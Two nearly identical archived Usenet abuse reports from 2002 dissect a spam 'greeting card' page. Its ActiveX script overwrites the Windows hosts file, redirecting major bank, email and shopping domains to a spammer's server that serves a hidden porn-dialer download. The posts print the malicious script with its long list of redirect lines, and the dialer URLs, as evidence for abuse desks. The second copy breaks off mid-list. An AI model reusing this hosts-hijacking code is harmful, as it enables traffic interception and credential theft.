From af380@chebucto.ns.ca Sat Feb 23 20:55:11 2002
Status: RO
X-Status: 
From: John McGowan <jmcgowan@shell.inch.com>
Subject: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Surprise! You've just received a greeting card!
Newsgroups: news.admin.net-abuse.email
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c7847ff$1_1@nntp2.nac.net>
Date: 23 Feb 2002 20:55:11 -0500
X-Trace: nntp2.nac.net 1014515711 inch.com (23 Feb 2002 20:55:11 -0500)
Lines: 370
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!jmcgowan
Xref: News.Dal.Ca news.admin.net-abuse.email:766591

Do NOT go to ""http://Best-Greeting.com/" if you have IE, ActiveX,
scripting, etc. unless you would like your Web connection to be
stolen.

SPAMVERTIZED URL: "http://Best-Greeting.com/view.html?EFC9EWBKFJYAR"
--------------------------------------------------------------------
 Interesting. This page has:

   "Sorry,
    We are closed for scheduled maintance
    Please come back in a few hours to view and send your postcards"

 However, that is below the encrypted JavaScript section which does
 a document write (after decrypting) of:

  "var label="Free Bisexual Pics & Videos";     //Labelvar
   url="http://www.bitgp.com/";                 //To URLvar" ...

  What does it do? It uses ActiveX to do ... what?

  ACTIVEX CODE:
  -----------------------------------------------------
  function savefavfile(folder,label,url,icofile,iconum)
   var oFi=FSO.CreateTextFile(folder+"\\hosts");
    oFi.WriteLine("64.154.222.199 hotmail.com");
    oFi.WriteLine("64.154.222.199 yahoo.com");
    ...
   [ETC. THE FULL LIST IS BELOW THE INDIVIDUALLY ADDRESSES
    SECTIONS]
    ...
    oFi.Close();}
  -----------------------------------------------------

  Let me guess what that does. It creates a "hosts" file.
  A "hosts" file is used (if it exists) to resolve hostnames
  (if the hostname is in the hosts file) before using a nameserver.
  So, if ever again, I try to go anywhere (well, not anywhere, but
  to any of the major sites listed below) I will be going to:
  "64.154.222.199"
  -----------------------------------------------------------

  What does the hosts file do? It redirects a lot (most? all?) of
  your browsing to the spammer's system at IP address 64.154.222.199.
  What does that site do when you are trying to browse the web?

  There are two possibilities. The spammer has his own list of IP
  addresses for the hosts listed below (this list is on his server
  at IP address 64.154.222.199). When you attempt to go to, for
  example, "http://geocities.com/myfiles/amy.txt", currently it will
  LOOK like that's where went. Maybe.

  CURRENTLY the spammer can track a lot (most) of your access to the web
  (any access using the hosts listed below) and his site does the following:

  It returns a fake "404" header, forged identification (as being
  AltaVista) and a page which is a frameset.

  The main frame takes up 100% of the rows and is the one you see, full
  screen. It has its source set to the site you were attempting to reach
  (but using an IP address rather than the hostname - using the hostname
  would send you back to the spammer's site again since it is in your
  "hosts" file).  HOWEVER, the spammer's list of IP addresses for the
  hostnames is not perfect. For example, for "www.wu.com" (listed below)
  (this is a Western Union site) the IP address which the spammer's site
  uses (and to which it redirects the frame) is "206.201.228.250" but
  www.wu.com has address "63.211.215.124". The site to which you are
  redirected (frameset redirection) IS a Western Union site, but not quite
  the right one.  You may NEVER be able to get to the right one, even if the
  site to which you are directed has a link to it since, if it has a link to
  "www.wu.com", the fact that this is in your "hosts" file causes you to go
  to the spammer's site which again (mis)redirects you (frameset
  redirection).

  There is not just one frame in the frameset (if there were, this would
  just be a site used for tracking your web use), but a second. As there
  is no room for it, it is hidden. It points to "dialer.php"
  (i.e. "http://64.154.222.199/dialer.php") which returns an http-protocol
  redirect ("302" header) to:
    "HTTP/1.1 302 Found
     Location: http://www.0190-dialer.com/autoload.cfm?5-1-25-389"
  which attempts to download and install a UPX compressed binary -
  a porn dialer - from
    "http://download2.0190-dialer.com/dialers/5-1-25-389.exe".

  EXAMPLE: "geocities.com" is listed below so one will go to the
            spammer's site whenever one tries to go to
            "http://geocities.com/anything".
            What happens?
            Let me go to: 'http://64.154.222.199/myfiles/amy.txt'
            BUT MANUALLY set the "Host:" field in the http header
            that is sent to be "Host: geocities.com". This is what one gets.

             1: A fake "404" HTTP header -
             2: Forged meta-tag entries and identity
               [meta name="description" content="AltaVista provides the most
                comprehensive search experience on the Web!"]
             3: A frameset with two frames:
                [FRAMESET rows="100%,*" framespacing=0 frameborder="no"]
                [FRAME SRC="http://209.1.225.218/myfiles/amy.txt" noresize ]
                [FRAME src="dialer.php" noresize]
                [/frameset]

               where PING geocities.com (209.1.225.218)
               (thus, in this case, what you see is "geocities.com" - just
                as you expected and don't know that anything has happened).

            Thus, while you browse, you are continually checked for having
            the spammer's porn dialer installed and it will be reinstalled
            if you remove it. He can also track your every (well, almost
            every, if you mainly use the most popular and largest sites)
            move on the web.

   IF the spammer's site does NOT have an IP address for the "Host:" header,
   it just does a "302" (http protocol header - server redirect) to the
   spammer's porn site (in the same block as the connection stealing site):

             "HTTP/1.1 302 Found
              Location: http://www.dryporn.com"

   (I got that by trying such things as going to
    'http://64.154.222.199/somepath' and manually setting the "Host:" field
    in the header to things like "Host: www.nytimes.com" which is NOT in the
    list below.)

    NOTE: "http://www.dryporn.com" ALSO ATTEMPTS TO LOAD AND INSTALL
          THIS SAME PORN DIALER.
           The URL "http://www.dryporn.com" redirects to its starting
           page 'http://www.dryporn.com/index1.shtml?' which has the
           onUnload() code (which will run when you attempt to leave
           the site):
            window.open('http://www.0190-dialer.com/autoload.cfm?5-1-26-55'...)
          ... well, OK, I lied ... it attempts to load the dialer:
          "http://download2.0190-dialer.com/dialers/5-1-26-55.exe"
          which is a different porn dialer on "download2.0190-dialer.com".

  THAT IS WHAT HAPPENS CURRENTLY. However, once this "hosts" file is in your
  system the spammer has complete control over what you get when going to
  a host listed in the "hosts" file he has created for you.
  
  If you go to the spamvertized site insecurely you have just given the
  spammer full and complete control over your web browsing (well, for
  any of the many popular sites listed below).

  While it currently just surreptitiously installs a porn dialer (and
  continually checks for it as you browse and reinstalls it if it is not
  installed), next week it may install a back-door Trojan. The week after, it
  may not redirect you to the site you desire, but send your every request
  to some porn site(s).

  With this "hosts" file created on your computer the spammer has stolen
  your connection and can track your every (well, not every, but all
  connections to the many popular sites he has listed in the "hosts" file he
  has created) move on the web - and can control your browsing as he sees
  fit.

========================================
LOCATIONS: [WHO IS RESPONSIBLE FOR
            THIS TROJAN "hosts" FILE AND
            CONNECTION THEFT]
========================================

(as this is so egregious, I am including other addresses besides
 those listed at abuse.net - when I LARTed them, I wanted to
 make sure this was not passed over by some abuse handler who
 is not too interested)

  TROJAN INSTALLER (spamvertized URL):
   (this site creates the Trojan "hosts" file)
  --------------------------------------------
          'http://Best-Greeting.com/view.html?EFC9EWBKFJYAR'
   * Connected to Best-Greeting.com (66.79.10.217)
      66.79.10.217 is dn7.directnic.com
      abuse.net addresses:
        abuse@directnic.com,hostmaster@directnic.com
     IPQuery: 66.79.10.217
     Registry:  whois.arin.net
      Mebtel Communications (NETBLK-MEBTEL-BLK-3)
       Contact: Perkins, Kirt  (KP274)  perkinsk@MEBTEL.COM
       [whois.abuse.net] abuse@madisonriver.net (for mebtel.net)
       SOA: hostmaster@madisonriver.net
      Intercosmos Media Group, Inc. (NETBLK-MEBT-66-79-10)
          66.79.10.0-66.79.10.255

  CONNECTION THEFT SITE
   (the site to which one continually goes when browsing
   once the "hosts" file is created):
  ------------------------------------------------------
     IP ADDRESS: 64.154.222.199
     (from "hosts" file that is created:
       oFi.WriteLine("64.154.222.199 hotmail.com")
       oFi.WriteLine("64.154.222.199 yahoo.com")
       etc.)

     64.154.222.199 is unknown.Level3.net
     abuse.net addresses:  Spamtool@level3.com (for level3.net)
     Contact: support@LEVEL3.COM
     SOA: hostmaster@Level3.net

  SECRETLY INSTALLED PORN DIALER:
  -------------------------------
     (this is the porn dialer that the connection theft site continually
      checks is on your system - currently. Of course, it can change how
      it acts at any time).
             "http://download2.0190-dialer.com/dialers/5-1-25-389.exe"
      * Connected to download2.0190-dialer.com (62.4.93.13)
       IPQuery: 62.4.93.13
       Registry:  whois.ripe.net
       inetnum:      62.4.93.0 - 62.4.93.255  <-- Just a C-block.
       netname:      INTERNET-SOLUTIONS
       descr:        internet solutions GmbH
       descr:        Frankfurter Str. 1-5
       descr:        65760 Eschborn
       descr:        Germany
       country:      DE
       admin-c:      RK257-RIPE r_keen@keen.de

       Since this is just a C-block, it may be the spammer's so I will
       also notify the upstream:

        traceroute to 62.4.93.13
        ...
        13  internetsolutions.fra2.mfn.com (62.4.65.20)
        14  62.4.93.13 (62.4.93.13)

        [whois.abuse.net] abuse@mfn.com, postmaster@mfn.com

  SPAMMER'S PORN SITE:
  --------------------
     If the spammer's database does not currently have an IP address for the
     host you are trying to reach, it redirects you to:
             "http://www.dryporn.com"
                    "www.dryporn.com is a nickname (alias) for
                     the Canonical NAME "dryporn.com"
          * Connected to dryporn.com (64.154.222.191)

     This is in the same netblock as the connection stealing site
     (which is at IP address 64.154.222.199) on Level3.

======================================================================
I am omitting the individually addressed sections included in the LART
======================================================================

=================================================================
FULL LIST OF THE ENTRIES WRITTEN TO YOUR NEW TROJAN "hosts" FILE:
=================================================================

(this gives the hostnames whose connections the spammer has attempted
 to steal)

  function savefavfile(folder,label,url,icofile,iconum)
   var oFi=FSO.CreateTextFile(folder+"\\hosts");
    oFi.WriteLine("64.154.222.199 hotmail.com");
    oFi.WriteLine("64.154.222.199 yahoo.com");
    oFi.WriteLine("64.154.222.199 msn.com");
    oFi.WriteLine("64.154.222.199 altavista.com");
    oFi.WriteLine("64.154.222.199 google.com");
    oFi.WriteLine("64.154.222.199 paypal.com");
    oFi.WriteLine("64.154.222.199 ebay.com");
    oFi.WriteLine("64.154.222.199 buy.com");
    oFi.WriteLine("64.154.222.199 microsoft.com");
    oFi.WriteLine("64.154.222.199 icq.com");
    oFi.WriteLine("64.154.222.199 usa.net");
    oFi.WriteLine("64.154.222.199 usa.com");
    oFi.WriteLine("64.154.222.199 netscape.net");
    oFi.WriteLine("64.154.222.199 netscape.com");
    oFi.WriteLine("64.154.222.199 aol.com");
    oFi.WriteLine("64.154.222.199 web.de");
    oFi.WriteLine("64.154.222.199 excite.com");
    oFi.WriteLine("64.154.222.199 qwest.net");
    oFi.WriteLine("64.154.222.199 dell.com");
    oFi.WriteLine("64.154.222.199 hp.com");
    oFi.WriteLine("64.154.222.199 sony.com");
    oFi.WriteLine("64.154.222.199 gateway.com");
    oFi.WriteLine("64.154.222.199 ibm.com");
    oFi.WriteLine("64.154.222.199 bestbuy.com");
    oFi.WriteLine("64.154.222.199 prodigy.net");
    oFi.WriteLine("64.154.222.199 att.com");
    oFi.WriteLine("64.154.222.199 att.net");
    oFi.WriteLine("64.154.222.199 earthlink.net");
    oFi.WriteLine("64.154.222.199 earthlink.com");
    oFi.WriteLine("64.154.222.199 mail.com");
    oFi.WriteLine("64.154.222.199 lycos.com");
    oFi.WriteLine("64.154.222.199 av.com");
    oFi.WriteLine("64.154.222.199 mp3.com");
    oFi.WriteLine("64.154.222.199 hollywood.com");
    oFi.WriteLine("64.154.222.199 cnn.com");
    oFi.WriteLine("64.154.222.199 nba.com");
    oFi.WriteLine("64.154.222.199 nhl.com");
    oFi.WriteLine("64.154.222.199 nfl.com");
    oFi.WriteLine("64.154.222.199 usatoday.com");
    oFi.WriteLine("64.154.222.199 weather.com");
    oFi.WriteLine("64.154.222.199 money.com");
    oFi.WriteLine("64.154.222.199 geocities.com");
    oFi.WriteLine("64.154.222.199 amazon.com");
    oFi.WriteLine("64.154.222.199 bankamerica.com");
    oFi.WriteLine("64.154.222.199 wu.com");
    oFi.WriteLine("64.154.222.199 westernunion.com");
    oFi.WriteLine("64.154.222.199 c2it.com");
    oFi.WriteLine("64.154.222.199 visa.com");
    oFi.WriteLine("64.154.222.199 internet.com");
    oFi.WriteLine("64.154.222.199 ivillage.com");
    oFi.WriteLine("64.154.222.199 real.com");
    oFi.WriteLine("64.154.222.199 x10.com");
    oFi.WriteLine("64.154.222.199 about.com");
    oFi.WriteLine("64.154.222.199 www.hotmail.com");
    oFi.WriteLine("64.154.222.199 www.yahoo.com");
    oFi.WriteLine("64.154.222.199 www.msn.com");
    oFi.WriteLine("64.154.222.199 www.altavista.com");
    oFi.WriteLine("64.154.222.199 www.google.com");
    oFi.WriteLine("64.154.222.199 www.paypal.com");
    oFi.WriteLine("64.154.222.199 www.ebay.com");
    oFi.WriteLine("64.154.222.199 www.buy.com");
    oFi.WriteLine("64.154.222.199 www.microsoft.com");
    oFi.WriteLine("64.154.222.199 www.icq.com");
    oFi.WriteLine("64.154.222.199 www.usa.net");
    oFi.WriteLine("64.154.222.199 www.usa.com");
    oFi.WriteLine("64.154.222.199 www.netscape.net");
    oFi.WriteLine("64.154.222.199 www.netscape.com");
    oFi.WriteLine("64.154.222.199 www.aol.com");
    oFi.WriteLine("64.154.222.199 www.web.de");
    oFi.WriteLine("64.154.222.199 www.excite.com");
    oFi.WriteLine("64.154.222.199 www.qwest.net");
    oFi.WriteLine("64.154.222.199 www.dell.com");
    oFi.WriteLine("64.154.222.199 www.hp.com");
    oFi.WriteLine("64.154.222.199 www.sony.com");
    oFi.WriteLine("64.154.222.199 www.gateway.com");
    oFi.WriteLine("64.154.222.199 www.ibm.com");
    oFi.WriteLine("64.154.222.199 www.bestbuy.com");
    oFi.WriteLine("64.154.222.199 www.prodigy.net");
    oFi.WriteLine("64.154.222.199 www.att.com");
    oFi.WriteLine("64.154.222.199 www.att.net");
    oFi.WriteLine("64.154.222.199 www.earthlink.net");
    oFi.WriteLine("64.154.222.199 www.earthlink.com");
    oFi.WriteLine("64.154.222.199 www.mail.com");
    oFi.WriteLine("64.154.222.199 www.lycos.com");
    oFi.WriteLine("64.154.222.199 www.av.com");
    oFi.WriteLine("64.154.222.199 www.mp3.com");
    oFi.WriteLine("64.154.222.199 www.hollywood.com");
    oFi.WriteLine("64.154.222.199 www.cnn.com");
    oFi.WriteLine("64.154.222.199 www.nba.com");
    oFi.WriteLine("64.154.222.199 www.nhl.com");
    oFi.WriteLine("64.154.222.199 www.nfl.com");
    oFi.WriteLine("64.154.222.199 www.usatoday.com");
    oFi.WriteLine("64.154.222.199 www.weather.com");
    oFi.WriteLine("64.154.222.199 www.money.com");
    oFi.WriteLine("64.154.222.199 www.geocities.com");
    oFi.WriteLine("64.154.222.199 www.amazon.com");
    oFi.WriteLine("64.154.222.199 www.bankamerica.com");
    oFi.WriteLine("64.154.222.199 www.wu.com");
    oFi.WriteLine("64.154.222.199 www.westernunion.com");
    oFi.WriteLine("64.154.222.199 www.c2it.com");
    oFi.WriteLine("64.154.222.199 www.visa.com");
    oFi.WriteLine("64.154.222.199 www.internet.com");
    oFi.WriteLine("64.154.222.199 www.ivillage.com");
    oFi.WriteLine("64.154.222.199 www.real.com");
    oFi.WriteLine("64.154.222.199 www.x10.com");
    oFi.WriteLine("64.154.222.199 www.about.com");
    ...
    oFi.Close();}
=========================================================

======================
ORIGINAL SPAM: OMITTED
======================

[I think I got it right - but for this one, the LART was long -
 but what can one do? Encrypted JavaScript, ActiveX,
 Trojan hosts file, web connection stealing site, what it does
 (porn dialer install) - I have to list and explain each of
 those to some extent, at least.]


From af380@chebucto.ns.ca Sat Feb 23 20:58:51 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Surprise! You've just received a greeting card!
Newsgroups: news.admin.net-abuse.email
Summary: 
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c7848db$1_1@nntp2.nac.net>
Date: 23 Feb 2002 20:58:51 -0500
X-Trace: nntp2.nac.net 1014515931 inch.com (23 Feb 2002 20:58:51 -0500)
Lines: 370
Path: News.Dal.Ca!news2.muc.eurocyber.net!fu-berlin.de!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!Spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:766592

Do NOT go to ""http://Best-Greeting.com/" if you have IE, ActiveX,
scripting, etc. unless you would like your Web connection to be
stolen.

SPAMVERTIZED URL: "http://Best-Greeting.com/view.html?EFC9EWBKFJYAR"
--------------------------------------------------------------------
 Interesting. This page has:

   "Sorry,
    We are closed for scheduled maintance
    Please come back in a few hours to view and send your postcards"

 However, that is below the encrypted JavaScript section which does
 a document write (after decrypting) of:

  "var label="Free Bisexual Pics & Videos";     //Labelvar
   url="http://www.bitgp.com/";                 //To URLvar" ...

  What does it do? It uses ActiveX to do ... what?

  ACTIVEX CODE:
  -----------------------------------------------------
  function savefavfile(folder,label,url,icofile,iconum)
   var oFi=FSO.CreateTextFile(folder+"\\hosts");
    oFi.WriteLine("64.154.222.199 hotmail.com");
    oFi.WriteLine("64.154.222.199 yahoo.com");
    ...
   [ETC. THE FULL LIST IS BELOW THE INDIVIDUALLY ADDRESSES
    SECTIONS]
    ...
    oFi.Close();}
  -----------------------------------------------------

  Let me guess what that does. It creates a "hosts" file.
  A "hosts" file is used (if it exists) to resolve hostnames
  (if the hostname is in the hosts file) before using a nameserver.
  So, if ever again, I try to go anywhere (well, not anywhere, but
  to any of the major sites listed below) I will be going to:
  "64.154.222.199"
  -----------------------------------------------------------

  What does the hosts file do? It redirects a lot (most? all?) of
  your browsing to the spammer's system at IP address 64.154.222.199.
  What does that site do when you are trying to browse the web?

  There are two possibilities. The spammer has his own list of IP
  addresses for the hosts listed below (this list is on his server
  at IP address 64.154.222.199). When you attempt to go to, for
  example, "http://geocities.com/myfiles/amy.txt", currently it will
  LOOK like that's where went. Maybe.

  CURRENTLY the spammer can track a lot (most) of your access to the web
  (any access using the hosts listed below) and his site does the following:

  It returns a fake "404" header, forged identification (as being
  AltaVista) and a page which is a frameset.

  The main frame takes up 100% of the rows and is the one you see, full
  screen. It has its source set to the site you were attempting to reach
  (but using an IP address rather than the hostname - using the hostname
  would send you back to the spammer's site again since it is in your
  "hosts" file).  HOWEVER, the spammer's list of IP addresses for the
  hostnames is not perfect. For example, for "www.wu.com" (listed below)
  (this is a Western Union site) the IP address which the spammer's site
  uses (and to which it redirects the frame) is "206.201.228.250" but
  www.wu.com has address "63.211.215.124". The site to which you are
  redirected (frameset redirection) IS a Western Union site, but not quite
  the right one.  You may NEVER be able to get to the right one, even if the
  site to which you are directed has a link to it since, if it has a link to
  "www.wu.com", the fact that this is in your "hosts" file causes you to go
  to the spammer's site which again (mis)redirects you (frameset
  redirection).

  There is not just one frame in the frameset (if there were, this would
  just be a site used for tracking your web use), but a second. As there
  is no room for it, it is hidden. It points to "dialer.php"
  (i.e. "http://64.154.222.199/dialer.php") which returns an http-protocol
  redirect ("302" header) to:
    "HTTP/1.1 302 Found
     Location: http://www.0190-dialer.com/autoload.cfm?5-1-25-389"
  which attempts to download and install a UPX compressed binary -
  a porn dialer - from
    "http://download2.0190-dialer.com/dialers/5-1-25-389.exe".

  EXAMPLE: "geocities.com" is listed below so one will go to the
            spammer's site whenever one tries to go to
            "http://geocities.com/anything".
            What happens?
            Let me go to: 'http://64.154.222.199/myfiles/amy.txt'
            BUT MANUALLY set the "Host:" field in the http header
            that is sent to be "Host: geocities.com". This is what one gets.

             1: A fake "404" HTTP header -
             2: Forged meta-tag entries and identity
               [meta name="description" content="AltaVista provides the most
                comprehensive search experience on the Web!"]
             3: A frameset with two frames:
                [FRAMESET rows="100%,*" framespacing=0 frameborder="no"]
                [FRAME SRC="http://209.1.225.218/myfiles/amy.txt" noresize ]
                [FRAME src="dialer.php" noresize]
                [/frameset]

               where PING geocities.com (209.1.225.218)
               (thus, in this case, what you see is "geocities.com" - just
                as you expected and don't know that anything has happened).

            Thus, while you browse, you are continually checked for having
            the spammer's porn dialer installed and it will be reinstalled
            if you remove it. He can also track your every (well, almost
            every, if you mainly use the most popular and largest sites)
            move on the web.

   IF the spammer's site does NOT have an IP address for the "Host:" header,
   it just does a "302" (http protocol header - server redirect) to the
   spammer's porn site (in the same block as the connection stealing site):

             "HTTP/1.1 302 Found
              Location: http://www.dryporn.com"

   (I got that by trying such things as going to
    'http://64.154.222.199/somepath' and manually setting the "Host:" field
    in the header to things like "Host: www.nytimes.com" which is NOT in the
    list below.)

    NOTE: "http://www.dryporn.com" ALSO ATTEMPTS TO LOAD AND INSTALL
          THIS SAME PORN DIALER.
           The URL "http://www.dryporn.com" redirects to its starting
           page 'http://www.dryporn.com/index1.shtml?' which has the
           onUnload() code (which will run when you attempt to leave
           the site):
            window.open('http://www.0190-dialer.com/autoload.cfm?5-1-26-55'...)
          ... well, OK, I lied ... it attempts to load the dialer:
          "http://download2.0190-dialer.com/dialers/5-1-26-55.exe"
          which is a different porn dialer on "download2.0190-dialer.com".

  THAT IS WHAT HAPPENS CURRENTLY. However, once this "hosts" file is in your
  system the spammer has complete control over what you get when going to
  a host listed in the "hosts" file he has created for you.
  
  If you go to the spamvertized site insecurely you have just given the
  spammer full and complete control over your web browsing (well, for
  any of the many popular sites listed below).

  While it currently just surreptitiously installs a porn dialer (and
  continually checks for it as you browse and reinstalls it if it is not
  installed), next week it may install a back-door Trojan. The week after, it
  may not redirect you to the site you desire, but send your every request
  to some porn site(s).

  With this "hosts" file created on your computer the spammer has stolen
  your connection and can track your every (well, not every, but all
  connections to the many popular sites he has listed in the "hosts" file he
  has created) move on the web - and can control your browsing as he sees
  fit.

========================================
LOCATIONS: [WHO IS RESPONSIBLE FOR
            THIS TROJAN "hosts" FILE AND
            CONNECTION THEFT]
========================================

(as this is so egregious, I am including other addresses besides
 those listed at abuse.net - when I LARTed them, I wanted to
 make sure this was not passed over by some abuse handler who
 is not too interested)

  TROJAN INSTALLER (spamvertized URL):
   (this site creates the Trojan "hosts" file)
  --------------------------------------------
          'http://Best-Greeting.com/view.html?EFC9EWBKFJYAR'
   * Connected to Best-Greeting.com (66.79.10.217)
      66.79.10.217 is dn7.directnic.com
      abuse.net addresses:
        abuse@directnic.com,hostmaster@directnic.com
     IPQuery: 66.79.10.217
     Registry:  whois.arin.net
      Mebtel Communications (NETBLK-MEBTEL-BLK-3)
       Contact: Perkins, Kirt  (KP274)  perkinsk@MEBTEL.COM
       [whois.abuse.net] abuse@madisonriver.net (for mebtel.net)
       SOA: hostmaster@madisonriver.net
      Intercosmos Media Group, Inc. (NETBLK-MEBT-66-79-10)
          66.79.10.0-66.79.10.255

  CONNECTION THEFT SITE
   (the site to which one continually goes when browsing
   once the "hosts" file is created):
  ------------------------------------------------------
     IP ADDRESS: 64.154.222.199
     (from "hosts" file that is created:
       oFi.WriteLine("64.154.222.199 hotmail.com")
       oFi.WriteLine("64.154.222.199 yahoo.com")
       etc.)

     64.154.222.199 is unknown.Level3.net
     abuse.net addresses:  Spamtool@level3.com (for level3.net)
     Contact: support@LEVEL3.COM
     SOA: hostmaster@Level3.net

  SECRETLY INSTALLED PORN DIALER:
  -------------------------------
     (this is the porn dialer that the connection theft site continually
      checks is on your system - currently. Of course, it can change how
      it acts at any time).
             "http://download2.0190-dialer.com/dialers/5-1-25-389.exe"
      * Connected to download2.0190-dialer.com (62.4.93.13)
       IPQuery: 62.4.93.13
       Registry:  whois.ripe.net
       inetnum:      62.4.93.0 - 62.4.93.255  <-- Just a C-block.
       netname:      INTERNET-SOLUTIONS
       descr:        internet solutions GmbH
       descr:        Frankfurter Str. 1-5
       descr:        65760 Eschborn
       descr:        Germany
       country:      DE
       admin-c:      RK257-RIPE r_keen@keen.de

       Since this is just a C-block, it may be the spammer's so I will
       also notify the upstream:

        traceroute to 62.4.93.13
        ...
        13  internetsolutions.fra2.mfn.com (62.4.65.20)
        14  62.4.93.13 (62.4.93.13)

        [whois.abuse.net] abuse@mfn.com, postmaster@mfn.com

  SPAMMER'S PORN SITE:
  --------------------
     If the spammer's database does not currently have an IP address for the
     host you are trying to reach, it redirects you to:
             "http://www.dryporn.com"
                    "www.dryporn.com is a nickname (alias) for
                     the Canonical NAME "dryporn.com"
          * Connected to dryporn.com (64.154.222.191)

     This is in the same netblock as the connection stealing site
     (which is at IP address 64.154.222.199) on Level3.

======================================================================
I am omitting the individually addressed sections included in the LART
======================================================================

=================================================================
FULL LIST OF THE ENTRIES WRITTEN TO YOUR NEW TROJAN "hosts" FILE:
=================================================================

(this gives the hostnames whose connections the spammer has attempted
 to steal)

  function savefavfile(folder,label,url,icofile,iconum)
   var oFi=FSO.CreateTextFile(folder+"\\hosts");
    oFi.WriteLine("64.154.222.199 hotmail.com");
    oFi.WriteLine("64.154.222.199 yahoo.com");
    oFi.WriteLine("64.154.222.199 msn.com");
    oFi.WriteLine("64.154.222.199 altavista.com");
    oFi.WriteLine("64.154.222.199 google.com");
    oFi.WriteLine("64.154.222.199 paypal.com");
    oFi.WriteLine("64.154.222.199 ebay.com");
    oFi.WriteLine("64.154.222.199 buy.com");
    oFi.WriteLine("64.154.222.199 microsoft.com");
    oFi.WriteLine("64.154.222.199 icq.com");
    oFi.WriteLine("64.154.222.199 usa.net");
    oFi.WriteLine("64.154.222.199 usa.com");
    oFi.WriteLine("64.154.222.199 netscape.net");
    oFi.WriteLine("64.154.222.199 netscape.com");
    oFi.WriteLine("64.154.222.199 aol.com");
    oFi.WriteLine("64.154.222.199 web.de");
    oFi.WriteLine("64.154.222.199 excite.com");
    oFi.WriteLine("64.154.222.199 qwest.net");
    oFi.WriteLine("64.154.222.199 dell.com");
    oFi.WriteLine("64.154.222.199 hp.com");
    oFi.WriteLine("64.154.222.199 sony.com");
    oFi.WriteLine("64.154.222.199 gateway.com");
    oFi.WriteLine("64.154.222.199 ibm.com");
    oFi.WriteLine("64.154.222.199 bestbuy.com");
    oFi.WriteLine("64.154.222.199 prodigy.net");
    oFi.WriteLine("64.154.222.199 att.com");
    oFi.WriteLine("64.154.222.199 att.net");
    oFi.WriteLine("64.154.222.199 earthlink.net");
    oFi.WriteLine("64.154.222.199 earthlink.com");
    oFi.WriteLine("64.154.222.199 mail.com");
    oFi.WriteLine("64.154.222.199 lycos.com");
    oFi.WriteLine("64.154.222.199 av.com");
    oFi.WriteLine("64.154.222.199 mp3.com");
    oFi.WriteLine("64.154.222.199 hollywood.com");
    oFi.WriteLine("64.154.222.199 cnn.com");
    oFi.WriteLine("64.154.222.199 nba.com");
    oFi.WriteLine("64.154.222.199 nhl.com");
    oFi.WriteLine("64.154.222.199 nfl.com");
    oFi.WriteLine("64.154.222.199 usatoday.com");
    oFi.WriteLine("64.154.222.199 weather.com");
    oFi.WriteLine("64.154.222.199 money.com");
    oFi.WriteLine("64.154.222.199 geocities.com");
    oFi.WriteLine("64.154.222.199 amazon.com");
    oFi.WriteLine("64.154.222.199 bankamerica.com");
    oFi.WriteLine("64.154.222.199 wu.com");
    oFi.WriteLine("64.154.222.199 westernunion.com");
    oFi.WriteLine("64.154.222.199 c2it.com");
    oFi.WriteLine("64.154.222.199 visa.com");
    oFi.WriteLine("64.154.222.199 internet.com");
    oFi.WriteLine("64.154.222.199 ivillage.com");
    oFi.WriteLine("64.154.222.199 real.com");
    oFi.WriteLine("64.154.222.199 x10.com");
    oFi.WriteLine("64.154.222.199 about.com");
    oFi.WriteLine("64.154.222.199 www.hotmail.com");
    oFi.WriteLine("64.154.222.199 www.yahoo.com");
    oFi.WriteLine("64.154.222.199 www.msn.com");
    oFi.WriteLine("64.154.222.199 www.altavista.com");
    oFi.WriteLine("64.154.222.199 www.google.com");
    oFi.WriteLine("64.154.222.199 www.paypal.com");
    oFi.WriteLine("64.154.222.199 www.ebay.com");
    oFi.WriteLine("64.154.222.199 www.buy.com");
    oFi.WriteLine("64.154.222.199 www.microsoft.com");
    oFi.WriteLine("64.154.222.199 www.icq.com");
    oFi.WriteLine("64.154.222.199 www.usa.net");
    oFi.WriteLine("64.154.222.199 www.usa.com");
    oFi.WriteLine("64.154.222.199 www.netscape.net");
    oFi.WriteLine("64.154.222.199 www.netscape.com");
    oFi.WriteLine("64.154.222.199 www.aol.com");
    oFi.WriteLine("64.154.222.199 www.web.de");
    oFi.WriteLine("64.154.222.199 www.excite.com");
    oFi.WriteLine("64.154.222.199 www.qwest.net");
    oFi.WriteLine("64.154.222.199 www.dell.com");
    oFi.WriteLine("64.154.222.199 www.hp.com");
    oFi.WriteLine("64.154.222.199 www.sony.com");
    oFi.WriteLine("64.154.222.199 www.gateway.com");
    oFi.WriteLine("64.154.222.199 www.ibm.com");
    oFi.WriteLine("64.154.222.199 www.bestbuy.com");
    oFi.WriteLine("64.154.222.199 www.prodigy.net");
    oFi.WriteLine("64.154.222.199 www.att.com");
    oFi.WriteLine("64.154.222.199 www.att.net");
    oFi.WriteLine("64.154.222.199 www.earthlink.net");
    oFi.WriteLine("64.154.222.199 www.earthlink.com");
    oFi.WriteLine("64.154.222.199 www.mail.com");
    oFi.WriteLine("64.154.222.199 www.lycos.com");
    oFi.WriteLine("64.154.222.199 www.av.com");
    oFi.WriteLine("64.154.222.199 www.mp3.com");
    oFi.WriteLine("64.154.222.199 www.hollywood.com");
    oFi.WriteLine("64.154.222.199 www.cnn.com");
    oFi.WriteLine("64.154.222.199 www.nba.com");
    oFi.WriteLine("64.154.222.199 www.nhl.com");
    oFi.WriteLine("64.154.222.199 www.nfl.com");
    oFi.WriteLine("64.154.222.199 www.usatoday.com");
    oFi.WriteLine("64.154.222.199 www.weather.com");
    oFi.WriteLine("64.154.222.199 www.money.com");
    oFi.WriteLine("64.154.222.199 www.geocities.com");
    oFi.WriteLine("64.154.222.199 www.amazon.com");
    oFi.WriteLine("64.154.222.199 www.bankamerica.com");
    oFi.WriteLine("64.154.222.199 www.wu.com");
    oFi.WriteLine("64.154.222.199 www.westernunion.com");
    oFi.WriteLine("64.154.222.199 www.c2it.com");
    oFi.WriteLine("64.154.222.199 www.visa.com");
